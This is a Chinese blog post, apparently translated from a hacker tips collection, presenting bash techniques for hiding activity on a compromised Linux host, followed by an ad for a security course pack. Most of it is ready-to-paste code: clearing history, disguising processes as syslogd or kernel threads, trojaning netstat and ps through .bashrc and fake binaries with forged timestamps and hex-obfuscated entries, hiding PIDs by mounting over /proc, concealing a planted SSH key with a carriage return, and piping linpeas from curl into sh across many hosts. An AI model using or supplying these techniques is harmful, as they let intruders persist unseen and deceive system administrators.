高级黑客技术-1.bash / shell

Bash,即“Bourne Again SHell”,是Unix操作系统中流行的命令行界面和脚本语言。它是Bourne Shell(sh)的升级版。Bash提供了许多功能,如命令历史、作业控制和文件名补全,使其比其前身更加用户友好。

Shell通常是用户与操作系统交互的命令行界面,通过执行命令来实现。有多种Shell类型,包括Bash、sh、ash、bsh、csh、ksh、zsh、pdksh和tcsh,每种Shell都有其独特的特性和语法。Bash和Shell对于道德黑客、渗透测试人员和漏洞赏金猎人来说都是必不可少的工具,因为它们提供了一个强大的界面,用于执行命令、自动化任务和利用系统中的漏洞。


1.1让 Bash 没有历史记录:

Bash 使用/dev/null而不是~/.bash_history。这是我们在每个 shell 上执行的第一个命令。它将阻止 Bash 记录您的命令。

export HISTFILE=/dev/null  
unset SSH\_CONNECTION SSH\_CLIENT  

(如果我们使用 SSH 登录,我们还会清除 SSH_* 变量。否则我们启动的任何进程都会在 /proc/self/environ 中获取 IP 的副本。)

退出 shell 时“kill”是很好的内务管理:

alias exit\='kill -9 $$'  

任何以“”(空格)开头的命令也不会记录到历史记录中[1]

$  id  

1.2隐藏你的命令 / Daemonzie 你的命令

隐藏为“syslogd”。

(exec -a syslogd nmap -T0 10.0.2.1/24) \# Note the brackets '(' and ')'  

启动后台隐藏进程:

(exec -a syslogd nmap -T0 10.0.2.1/24 &>nmap.log &)  

在GNU 屏幕[2] 中启动:

screen -dmS MyName nmap -T0 10.0.2.1/24  
#\## Attach back to the nmap process  
screen -x MyName  

或者,如果没有 Bash:

cp "$(command -v nmap)" syslogd  
PATH=.:$PATH syslogd -T0 10.0.2.1/24  

在此示例中,我们执行nmap,但让它以名称syslogd出现在ps alxwww进程列表中。

强哥给大家准备了全套的《网络安全入门+进阶学习资源包》共282G,可以扫描下方二维码或链接免费领取~

1.3隐藏您的命令行选项

使用zapper[3]

\# Start Nmap but zap all options and show it as 'klog' in the process list:  
./zapper -a klog nmap -T0 10.0.0.1/24  
\# Same but started as a daemon:  
(./zapper -a klog nmap -T0 10.0.0.1/24 &>nmap.log &)  
\# Replace the existing shell with tmux (with 'exec').  
\# Then start and hide tmux and all further processes - as some kernel process:  
exec ./zapper -f -a'\[kworker/1:0-rcu\_gp\]' tmux  

1.4隐藏网络连接

诀窍是劫持netstat并使用 grep 来过滤掉我们的连接。此示例过滤端口 31337或ip 1.2.3.4 上的任何连接。对于ss(netstat 替代方案)也应该做同样的事情。

方法 1 - 在 ~/.bashrc 中隐藏与 bash-function 的连接

剪切并粘贴此行以将行添加到 ~/.bashrc

echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \\  
&& touch -r /etc/passwd ~/.bashrc  

或者将其剪切并粘贴到 ~/.bashrc 中以混淆条目:

X='netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }'echo "eval \\$(echo $(echo "$X" | xxd -ps -c1024)|xxd -r -ps) #Initialize PRNG" >>~/.bashrc \\  
&& touch -r /etc/passwd ~/.bashrc  

~/.bashrc 的混淆条目将如下所示:

eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG  

方法 2 - 隐藏与 $PATH 中的二进制文件的连接

在 /usr/local/sbin 中创建一个假的 netstat 二进制文件。在默认的 Debian(和大多数 Linux)上,PATH 变量 ( ) 在 /usr/bin之前echo $PATH列出 /usr/local/sbin 。这意味着我们的劫持二进制文件 /usr/local/sbin/netstat 将被执行,而不是 /usr/bin/netstat。

echo \-e "#! /bin/bash  
exec /usr/bin/netstat \\"\\$@\\" | grep -Fv -e :22 -e 1.2.3.4" \>/usr/local/sbin/netstat \\  
&& chmod 755 /usr/local/sbin/netstat \\  
&& touch \-r /usr/bin/netstat /usr/local/sbin/netstat  

1.5以用户身份隐藏进程

继续“隐藏连接”,可以使用相同的技术来隐藏进程。此示例隐藏了 nmap 进程,并通过将其重命名为 GREP 来确保我们的进程grep不会出现在进程列表中:

echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap  -e GREP; }' >>~/.bashrc \\  
&& touch -r /etc/passwd ~/.bashrc  

1.6以 root 身份隐藏进程

这需要 root 权限,并且是一个古老的 Linux 技巧,通过使用无用的目录过度安装 /proc/:

hide()  
{  
    \[\[ -L /etc/mtab \]\] && { cp /etc/mtab /etc/mtab.bak; mv /etc/mtab.bak /etc/mtab; }  
    \_pid=${1:-$$}  
    \[\[ $\_pid =~ ^\[0-9\]+$ \]\] && { mount -n --bind /dev/shm /proc/$\_pid && echo "\[THC\] PID $\_pid is now hidden"; return; }  
    local \_argstr  
    for \_x in "${@:2}"; do \_argstr+=" '${\_x//\\'/\\'\\"\\'\\"\\'}'"; done  
    \[\[ $(bash -c "ps -o stat= -p \\$\\$") =~ \\+ \]\] || exec bash -c "mount -n --bind /dev/shm /proc/\\$\\$; exec \\"$1\\" $\_argstr"  
    bash -c "mount -n --bind /dev/shm /proc/\\$\\$; exec \\"$1\\" $\_argstr"  
}  

要隐藏命令,请使用:

hide                                 \# Hides the current shell/PID  
hide 31337                           \# Hides process with pid 31337  
hide sleep 1234                      \# Hides 'sleep 1234'  
hide nohup sleep 1234 &>/dev/null &  \# Starts and hides 'sleep 1234' as a background process  

1.7 隐藏 shell 脚本

上面我们讨论了如何混淆 ~/.bashrc 中的一行。一个经常使用的技巧是使用source替代。source 命令可以缩短为.(是的,一个点),它还会搜索 $PATH 变量以查找要加载的文件。

在此示例中,我们的脚本prng包含上面的所有 shell 函数。这些功能隐藏了nmap进程和网络连接。最后我们添加. prng到系统范围的 rc 文件中。这将prng在用户(和 root)登录时加载:

echo -e 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }  
ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap  -e GREP; }' >/usr/bin/prng \\  
&& echo ". prng #Initialize Pseudo Random Number Generator" >>/etc/bash.bashrc \\  
&& touch -r /etc/ld.so.conf /usr/bin/prng /etc/bash.bashrc  

(同样适用于lsof、ss和ls)

1.8 CAT

ANSI 转义字符或简单的\r(回车符[4])可用于隐藏cat其他人。

隐藏最后一个命令(例如id:)~/.bashrc:

echo -e "id #\\\\033\[2K\\\\033\[1A" >>~/.bashrc  
#\## The ANSI escape sequence \\\\033\[2K erases the line. The next sequence \\\\033\[1A  
#\## moves the cursor 1 line up.  
#\## The '#' after the command 'id' is a comment and is needed so that bash still  
#\## executes the 'id' but ignores the two ANSI escape sequences.  

注意:我们使用echo -e转换\\033为 ANSI 转义字符(十六进制 0x1b)。

添加\r(回车符)对于隐藏您的 ssh 密钥有很大帮助cat:

echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\\r'"$(<authorized\_keys)" >authorized\_keys  
\### This adds our key as the first key and 'cat authorized\_keys' wont show  
\### it. The $'\\r' is a bash special to create a \\r (carriage return).  

1.9 使用单独的日志文件并行执行*

并行扫描 20 个主机并将每个结果记录到单独的日志文件中:

\# hosts.txt contains a long list of hostnames or ip-addresses  
cat hosts.txt | parallel -j20 'exec nmap -n -Pn -sCV -F --open {} >nmap\_{}.txt'  

注意:该示例使用exec最后一个进程(nmap、gsexec)替换底层 shell。它是可选的,但会减少运行的 shell 二进制文件的数量。

使用 40 个工作线程在所有gsocket[5]主机上执行Linpeas :[6]

\# secrets.txt contains a long list of gsocket-secrets for each remote server.  
cat secrets.txt | parallel -j40 'mkdir host\_{}; exec gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host\_{}/linpeas.log 2>host\_{}/linpeas.err'

注意:xargs -P20 -I{}这是另一种好方法,但它无法将每个输出记录到单独的文件中。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程扫描领取哈)
在这里插入图片描述
在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:
在这里插入图片描述
黑客资料由于是敏感资源,这里不能直接展示哦! (全套教程扫描领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值